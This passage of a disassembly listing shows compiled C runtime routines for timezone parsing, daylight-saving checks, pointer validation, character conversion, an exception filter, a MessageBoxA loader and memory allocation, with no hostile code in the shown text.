		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_420529
		cmp	ebx, edi
		jz	short loc_420522
		lea	edi, [ecx+3C00h]
		jmp	short loc_42054A
; ---------------------------------------------------------------------------

loc_420522:				; CODE XREF: sub_4204DB+3Dj
		mov	edi, 7FFFh
		jmp	short loc_42054A
; ---------------------------------------------------------------------------

loc_420529:				; CODE XREF: sub_4204DB+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_420541
		cmp	edx, ebx
		jnz	short loc_420541
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_42058C
; ---------------------------------------------------------------------------

loc_420541:				; CODE XREF: sub_4204DB+52j
					; sub_4204DB+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx

loc_42054A:				; CODE XREF: sub_4204DB+45j
					; sub_4204DB+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx

loc_420562:				; CODE XREF: sub_4204DB+A6j
		test	ecx, esi
		jnz	short loc_420583
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_420562
; ---------------------------------------------------------------------------

loc_420583:				; CODE XREF: sub_4204DB+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx

loc_42058C:				; CODE XREF: sub_4204DB+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4204DB	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_4199DA
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42059A	proc near		; DATA XREF: sub_4205E0o
					; .data:0043ADF8o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4205BD
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4205BD
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4205BD
		jmp	sub_41D1FC
; ---------------------------------------------------------------------------

loc_4205BD:				; CODE XREF: sub_42059A+Dj
					; sub_42059A+13j ...
		mov	eax, dword_4896B0
		test	eax, eax
		jz	short loc_4205DA
		push	eax
		call	sub_420636
		test	eax, eax
		pop	ecx
		jz	short loc_4205DA
		push	esi
		call	dword_4896B0
		jmp	short loc_4205DC
; ---------------------------------------------------------------------------

loc_4205DA:				; CODE XREF: sub_42059A+2Aj
					; sub_42059A+35j
		xor	eax, eax

loc_4205DC:				; CODE XREF: sub_42059A+3Ej
		pop	esi
		retn	4
sub_42059A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4205E0	proc near		; DATA XREF: .data:00425024o
		push	offset sub_42059A
		call	dword_42301C	; SetUnhandledExceptionFilter
		mov	dword_4896B0, eax
		retn
sub_4205E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4205F1	proc near		; DATA XREF: .data:0042503Co
		push	dword_4896B0
		call	dword_42301C	; SetUnhandledExceptionFilter
		retn
sub_4205F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4205FE	proc near		; CODE XREF: sub_41CA45+6Bp
					; sub_41CF56+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_423018	; IsBadReadPtr
		test	eax, eax
		jz	short loc_420616
		xor	esi, esi

loc_420616:				; CODE XREF: sub_4205FE+14j
		mov	eax, esi
		pop	esi
		retn
sub_4205FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42061A	proc near		; CODE XREF: sub_41CF56+73p
					; sub_41CF56+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_4231B8	; IsBadWritePtr
		test	eax, eax
		jz	short loc_420632
		xor	esi, esi

loc_420632:				; CODE XREF: sub_42061A+14j
		mov	eax, esi
		pop	esi
		retn
sub_42061A	endp


; =============== S U B	R O U T	I N E =======================================



sub_420636	proc near		; CODE XREF: sub_41CF56+15Bp
					; sub_42059A+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	dword_423014	; IsBadCodePtr
		test	eax, eax
		jz	short loc_42064A
		xor	esi, esi

loc_42064A:				; CODE XREF: sub_420636+10j
		mov	eax, esi
		pop	esi
		retn
sub_420636	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D1FC

loc_42064E:				; CODE XREF: sub_41D1FC:loc_41D24Dj
		push	0Ah
		call	sub_41F5B1
		push	16h
		call	sub_42196C
		pop	ecx
		pop	ecx
		push	3
		call	sub_4197F6
; END OF FUNCTION CHUNK	FOR sub_41D1FC

; =============== S U B	R O U T	I N E =======================================



sub_420665	proc near		; CODE XREF: sub_41D309:loc_41D348p
		cmp	dword_489770, 0
		jnz	short locret_420679
		call	sub_42067A
		inc	dword_489770

locret_420679:				; CODE XREF: sub_420665+7j
		retn
sub_420665	endp


; =============== S U B	R O U T	I N E =======================================



sub_42067A	proc near		; CODE XREF: sub_420665+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4896B8, ebp
		mov	dword_43B4F8, ebx
		mov	dword_43B4E8, ebx
		call	sub_421ADE
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_4207A3
		push	offset dword_4896C0
		call	dword_42318C	; GetTimeZoneInformation
		cmp	eax, ebx
		jz	loc_4208D2
		mov	eax, dword_4896C0
		mov	ecx, dword_489714
		imul	eax, 3Ch
		cmp	word_489706, bp
		push	1
		pop	edx
		mov	dword_43B450, eax
		mov	dword_4896B8, edx
		jz	short loc_4206F1
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43B450, eax

loc_4206F1:				; CODE XREF: sub_42067A+69j
		cmp	word_48975A, bp
		jz	short loc_420715
		mov	eax, dword_489768
		cmp	eax, ebp
		jz	short loc_420715
		sub	eax, ecx
		mov	dword_43B454, edx
		imul	eax, 3Ch
		mov	dword_43B458, eax
		jmp	short loc_420721
; ---------------------------------------------------------------------------

loc_420715:				; CODE XREF: sub_42067A+7Ej
					; sub_42067A+87j
		mov	dword_43B454, ebp
		mov	dword_43B458, ebp

loc_420721:				; CODE XREF: sub_42067A+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_423150
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43B4DC
		push	ebx
		push	offset dword_4896C4
		push	edi
		push	dword_489550
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_42075E
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_42075E
		mov	eax, off_43B4DC
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_420766
; ---------------------------------------------------------------------------

loc_42075E:				; CODE XREF: sub_42067A+D1j
					; sub_42067A+D7j
		mov	eax, off_43B4DC
		and	byte ptr [eax],	0

loc_420766:				; CODE XREF: sub_42067A+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43B4E0
		push	ebx
		push	offset dword_489718
		push	edi
		push	dword_489550
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_4208CA
		cmp	[esp+14h+var_4], ebp
		jnz	loc_4208CA
		mov	eax, off_43B4E0
		and	byte ptr [eax+3Fh], 0
		jmp	loc_4208D2
; ---------------------------------------------------------------------------

loc_4207A3:				; CODE XREF: sub_42067A+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_4208D2
		mov	eax, dword_48976C
		cmp	eax, ebp
		jz	short loc_4207C6
		push	eax
		push	esi
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4208D2

loc_4207C6:				; CODE XREF: sub_42067A+139j
		push	dword_48976C
		call	sub_41793B
		push	esi
		call	sub_4177B0
		inc	eax
		push	eax
		call	sub_417889
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_48976C, eax
		jz	loc_4208D2
		push	esi
		push	eax
		call	sub_4176C0
		push	3
		push	esi
		push	off_43B4DC
		call	sub_418910
		mov	eax, off_43B4DC
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42081B
		push	1
		inc	esi
		pop	edi

loc_42081B:				; CODE XREF: sub_42067A+19Bj
		push	esi
		call	sub_417494
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43B450, ecx

loc_420832:				; CODE XREF: sub_42067A+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_420840
		cmp	al, bl
		jl	short loc_420843
		cmp	al, 39h
		jg	short loc_420843

loc_420840:				; CODE XREF: sub_42067A+1BCj
		inc	esi
		jmp	short loc_420832
; ---------------------------------------------------------------------------

loc_420843:				; CODE XREF: sub_42067A+1C0j
					; sub_42067A+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_420896
		inc	esi
		push	esi
		call	sub_417494
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43B450
		add	ecx, eax
		mov	dword_43B450, ecx

loc_420861:				; CODE XREF: sub_42067A+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_42086E
		cmp	al, 39h
		jg	short loc_42086E
		inc	esi
		jmp	short loc_420861
; ---------------------------------------------------------------------------

loc_42086E:				; CODE XREF: sub_42067A+1EBj
					; sub_42067A+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_420896
		inc	esi
		push	esi
		call	sub_417494
		pop	ecx
		mov	ecx, dword_43B450
		add	ecx, eax
		mov	dword_43B450, ecx

loc_420889:				; CODE XREF: sub_42067A+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_420896
		cmp	al, 39h
		jg	short loc_420896
		inc	esi
		jmp	short loc_420889
; ---------------------------------------------------------------------------

loc_420896:				; CODE XREF: sub_42067A+1CCj
					; sub_42067A+1F7j ...
		cmp	edi, ebp
		jz	short loc_4208A2
		neg	ecx
		mov	dword_43B450, ecx

loc_4208A2:				; CODE XREF: sub_42067A+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43B454, eax
		jz	short loc_4208CA
		push	3
		push	esi
		push	off_43B4E0
		call	sub_418910
		mov	eax, off_43B4E0
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_4208D2
; ---------------------------------------------------------------------------

loc_4208CA:				; CODE XREF: sub_42067A+10Bj
					; sub_42067A+115j ...
		mov	eax, off_43B4E0
		and	byte ptr [eax],	0

loc_4208D2:				; CODE XREF: sub_42067A+40j
					; sub_42067A+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42067A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208D8	proc near		; CODE XREF: sub_41D309+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43B454, edi
		jnz	short loc_4208EC

loc_4208E5:				; CODE XREF: sub_4208D8+148j
					; sub_4208D8+150j ...
		xor	eax, eax
		jmp	loc_420A38
; ---------------------------------------------------------------------------

loc_4208EC:				; CODE XREF: sub_4208D8+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43B4E8
		jnz	short loc_42090A
		cmp	eax, dword_43B4F8
		jz	loc_420A0C

loc_42090A:				; CODE XREF: sub_4208D8+24j
		cmp	dword_4896B8, edi
		jz	loc_4209E2
		movzx	ecx, word_489766
		push	ecx
		cmp	word_489758, di
		movzx	ecx, word_489764
		push	ecx
		movzx	ecx, word_489762
		push	ecx
		movzx	ecx, word_489760
		push	ecx
		jnz	short loc_42095C
		movzx	ecx, word_48975C
		push	edi
		push	ecx
		movzx	ecx, word_48975E
		push	ecx
		movzx	ecx, word_48975A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_420970
; ---------------------------------------------------------------------------

loc_42095C:				; CODE XREF: sub_4208D8+65j
		movzx	ecx, word_48975E
		push	ecx
		push	edi
		movzx	ecx, word_48975A
		push	edi
		push	ecx
		push	eax
		push	edi

loc_420970:				; CODE XREF: sub_4208D8+82j
		push	ebx
		call	sub_420A84
		movzx	eax, word_489712
		add	esp, 2Ch
		cmp	word_489704, di
		push	eax
		movzx	eax, word_489710
		push	eax
		movzx	eax, word_48970E
		push	eax
		movzx	eax, word_48970C
		push	eax
		jnz	short loc_4209CA
		movzx	eax, word_489708
		push	edi
		push	eax
		movzx	eax, word_48970A
		push	eax
		movzx	eax, word_489706
		push	eax
		push	dword ptr [esi+14h]
		push	ebx

loc_4209BF:				; CODE XREF: sub_4208D8+108j
		push	edi
		call	sub_420A84
		add	esp, 2Ch
		jmp	short loc_420A0C
; ---------------------------------------------------------------------------

loc_4209CA:				; CODE XREF: sub_4208D8+C8j
		movzx	eax, word_48970A
		push	eax
		push	edi
		movzx	eax, word_489706
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_4209BF
; ---------------------------------------------------------------------------

loc_4209E2:				; CODE XREF: sub_4208D8+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_420A84
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_420A84
		add	esp, 58h

loc_420A0C:				; CODE XREF: sub_4208D8+2Cj
					; sub_4208D8+F0j
		mov	edx, dword_43B4EC
		mov	eax, dword_43B4FC
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_420A3C
		cmp	ecx, edx
		jl	loc_4208E5
		cmp	ecx, eax
		jg	loc_4208E5
		cmp	ecx, edx
		jle	short loc_420A50
		cmp	ecx, eax
		jge	short loc_420A50

loc_420A36:				; CODE XREF: sub_4208D8+166j
					; sub_4208D8+16Aj
		mov	eax, ebx

loc_420A38:				; CODE XREF: sub_4208D8+Fj
					; sub_4208D8+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_420A3C:				; CODE XREF: sub_4208D8+144j
		cmp	ecx, eax
		jl	short loc_420A36
		cmp	ecx, edx
		jg	short loc_420A36
		cmp	ecx, eax
		jle	short loc_420A50
		cmp	ecx, edx
		jl	loc_4208E5

loc_420A50:				; CODE XREF: sub_4208D8+158j
					; sub_4208D8+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_420A77
		xor	ecx, ecx
		cmp	eax, dword_43B4F0
		setnl	cl

loc_420A73:				; CODE XREF: sub_4208D8+1AAj
		mov	eax, ecx
		jmp	short loc_420A38
; ---------------------------------------------------------------------------

loc_420A77:				; CODE XREF: sub_4208D8+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43B500
		setl	cl
		jmp	short loc_420A73
sub_4208D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420A84	proc near		; CODE XREF: sub_4208D8+99p
					; sub_4208D8+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_420B1F
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_420AAF
		shl	esi, 2
		mov	eax, dword_43B500[esi]
		jmp	short loc_420AB8
; ---------------------------------------------------------------------------

loc_420AAF:				; CODE XREF: sub_420A84+1Ej
		shl	esi, 2
		mov	eax, dword_43B534[esi]

loc_420AB8:				; CODE XREF: sub_420A84+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_420AF2
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_420AFC
; ---------------------------------------------------------------------------

loc_420AF2:				; CODE XREF: sub_420A84+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax

loc_420AFC:				; CODE XREF: sub_420A84+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_420B3A
		cmp	[ebp+arg_8], 0
		jnz	short loc_420B10
		mov	esi, dword_43B504[esi]
		jmp	short loc_420B16
; ---------------------------------------------------------------------------

loc_420B10:				; CODE XREF: sub_420A84+82j
		mov	esi, dword_43B538[esi]

loc_420B16:				; CODE XREF: sub_420A84+8Aj
		cmp	ecx, esi
		jle	short loc_420B3A
		sub	ecx, 7
		jmp	short loc_420B3A
; ---------------------------------------------------------------------------

loc_420B1F:				; CODE XREF: sub_420A84+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_420B30
		mov	ecx, dword_43B500[eax*4]
		jmp	short loc_420B37
; ---------------------------------------------------------------------------

loc_420B30:				; CODE XREF: sub_420A84+A1j
		mov	ecx, dword_43B534[eax*4]

loc_420B37:				; CODE XREF: sub_420A84+AAj
		add	ecx, [ebp+arg_18]

loc_420B3A:				; CODE XREF: sub_420A84+7Cj
					; sub_420A84+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_420B6B
		mov	eax, [ebp+arg_1C]
		mov	dword_43B4EC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43B4E8, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43B4F0, eax
		jmp	short loc_420BC0
; ---------------------------------------------------------------------------

loc_420B6B:				; CODE XREF: sub_420A84+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43B4FC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43B458
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43B500, eax
		jns	short loc_420BA3
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43B500, eax
		jmp	short loc_420BB4
; ---------------------------------------------------------------------------

loc_420BA3:				; CODE XREF: sub_420A84+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_420BBA
		sub	eax, edx
		inc	ecx
		mov	dword_43B500, eax

loc_420BB4:				; CODE XREF: sub_420A84+11Dj
		mov	dword_43B4FC, ecx

loc_420BBA:				; CODE XREF: sub_420A84+126j
		mov	dword_43B4F8, ebx

loc_420BC0:				; CODE XREF: sub_420A84+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420A84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420BC4	proc near		; CODE XREF: sub_41D497+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_420BE7
		cmp	[ebp+arg_8], ebx
		jz	short loc_420BE7
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_420BED
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_420BE7
		mov	[eax], bx

loc_420BE7:				; CODE XREF: sub_420BC4+Cj
					; sub_420BC4+11j ...
		xor	eax, eax

loc_420BE9:				; CODE XREF: sub_420BC4+42j
					; sub_420BC4+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_420BED:				; CODE XREF: sub_420BC4+17j
		cmp	dword_489540, ebx
		jnz	short loc_420C08
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_420C03
		movzx	ax, al
		mov	[ecx], ax

loc_420C03:				; CODE XREF: sub_420BC4+36j
					; sub_420BC4+C0j
		push	1
		pop	eax
		jmp	short loc_420BE9
; ---------------------------------------------------------------------------

loc_420C08:				; CODE XREF: sub_420BC4+2Fj
		mov	ecx, off_438A80
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420C65
		mov	eax, dword_438C8C
		cmp	eax, 1
		jle	short loc_420C4C
		cmp	[ebp+arg_8], eax
		jl	short loc_420C56
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_489550
		call	dword_423070	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_438C8C
		jnz	short loc_420BE9

loc_420C4C:				; CODE XREF: sub_420BC4+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_420C56
		cmp	[esi+1], bl
		jnz	short loc_420BE9

loc_420C56:				; CODE XREF: sub_420BC4+61j
					; sub_420BC4+8Bj ...
		mov	dword_4894AC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_420BE9
; ---------------------------------------------------------------------------

loc_420C65:				; CODE XREF: sub_420BC4+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_489550
		call	dword_423070	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_420C03
		jmp	short loc_420C56
sub_420BC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_420C8C	proc near		; CODE XREF: sub_41D497+76p
					; sub_41D497+88p ...

arg_0		= dword	ptr  4

		cmp	dword_438C8C, 1
		jle	short loc_420CA3
		push	8
		push	[esp+4+arg_0]
		call	sub_41A342
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_420CA3:				; CODE XREF: sub_420C8C+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_438A80
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_420C8C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_420CC0	proc near		; CODE XREF: sub_41D497+797p
					; sub_41D497+7E7p
		cmp	cl, 40h
		jnb	short loc_420CDA
		cmp	cl, 20h
		jnb	short loc_420CD0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_420CD0:				; CODE XREF: sub_420CC0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_420CDA:				; CODE XREF: sub_420CC0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_420CC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_420CDF	proc near		; CODE XREF: sub_41DF0D+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_420D2B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_420CFD
		test	al, 80h
		jz	short loc_420D2B
		test	al, 2
		jnz	short loc_420D2B

loc_420CFD:				; CODE XREF: sub_420CDF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_420D0A
		push	esi
		call	sub_41F704
		pop	ecx

loc_420D0A:				; CODE XREF: sub_420CDF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_420D1A
		cmp	dword ptr [esi+4], 0
		jnz	short loc_420D2B
		inc	eax
		mov	[esi], eax

loc_420D1A:				; CODE XREF: sub_420CDF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_420D31
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_420D37
		inc	eax
		mov	[esi], eax

loc_420D2B:				; CODE XREF: sub_420CDF+9j
					; sub_420CDF+18j ...
		or	eax, 0FFFFFFFFh

loc_420D2E:				; CODE XREF: sub_420CDF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_420D31:				; CODE XREF: sub_420CDF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl

loc_420D37:				; CODE XREF: sub_420CDF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_420D2E
sub_420CDF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D4D	proc near		; CODE XREF: sub_41EE5A+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_420D5E
		add	esp, 0Ch
		retn
sub_420D4D	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D5E	proc near		; CODE XREF: sub_420D4D+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_48AA01[eax], cl
		jnz	short loc_420D8B
		cmp	[esp+arg_4], 0
		jz	short loc_420D84
		movzx	eax, word_438A8A[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_420D86
; ---------------------------------------------------------------------------

loc_420D84:				; CODE XREF: sub_420D5E+16j
		xor	eax, eax

loc_420D86:				; CODE XREF: sub_420D5E+24j
		test	eax, eax
		jnz	short loc_420D8B
		retn
; ---------------------------------------------------------------------------

loc_420D8B:				; CODE XREF: sub_420D5E+Fj
					; sub_420D5E+2Aj
		push	1
		pop	eax
		retn
sub_420D5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D8F	proc near		; CODE XREF: sub_41F5B1+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_489774, ebx
		push	esi
		push	edi
		jnz	short loc_420DDE
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4230E0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_420E14
		mov	esi, dword_4230DC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_489774, eax
		jz	short loc_420E14
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_489778, eax
		call	esi	; GetProcAddress
		mov	dword_48977C, eax

loc_420DDE:				; CODE XREF: sub_420D8F+Bj
		mov	eax, dword_489778
		test	eax, eax
		jz	short loc_420DFD
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_420DFD
		mov	eax, dword_48977C
		test	eax, eax
		jz	short loc_420DFD
		push	ebx
		call	eax
		mov	ebx, eax

loc_420DFD:				; CODE XREF: sub_420D8F+56j
					; sub_420D8F+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_489774

loc_420E10:				; CODE XREF: sub_420D8F+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_420E14:				; CODE XREF: sub_420D8F+1Cj
					; sub_420D8F+33j
		xor	eax, eax
		jmp	short loc_420E10
sub_420D8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420E18	proc near		; CODE XREF: sub_41F76E+22p
					; sub_41F76E+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_420E39
		test	esi, esi
		jnz	short loc_420E33
		push	1
		pop	esi

loc_420E33:				; CODE XREF: sub_420E18+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_420E39:				; CODE XREF: sub_420E18+12j
					; sub_420E18+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_420E98
